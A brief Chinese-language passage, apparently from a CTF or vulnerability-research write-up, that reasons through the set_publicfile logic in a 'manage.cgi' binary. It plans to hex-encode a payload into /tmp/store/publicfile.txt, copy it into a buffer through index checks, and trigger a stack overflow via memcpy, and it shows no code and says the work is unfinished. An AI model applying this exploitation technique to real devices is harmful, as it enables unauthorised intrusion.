成功写入, 回到 manage.cgi , 在 set_publicfile 这里 我们貌似可以直接通过这个 n80 == 80 去往 s_0 上写入内容, 大概看了下整个逻辑
cnt2
目标偏移
范围检查是 0..511
最终写到 s_0[cnt2]
cnt1
源索引
范围检查是 0..255
但真正有意义的通常只有前面那部分有效槽位
最终取值是 v41[cnt1 + 1]
v41 是怎么来的
来自 /tmp/store/publicfile.txt
先把文件内容按 hex 解码成 ptr
再把 ptr 的前 81 个字节按规则搬进 v41[1..81] 大概是把整段 payload 都写到 publicfile.txt 中, 然后写个循环用 cnt1 和 cnt2 去把 payload 写到 s_0 中, 最后利用前面的 memcpy 打个栈溢出…
调试这里有点烦, 后续补上… 基本上快搞定了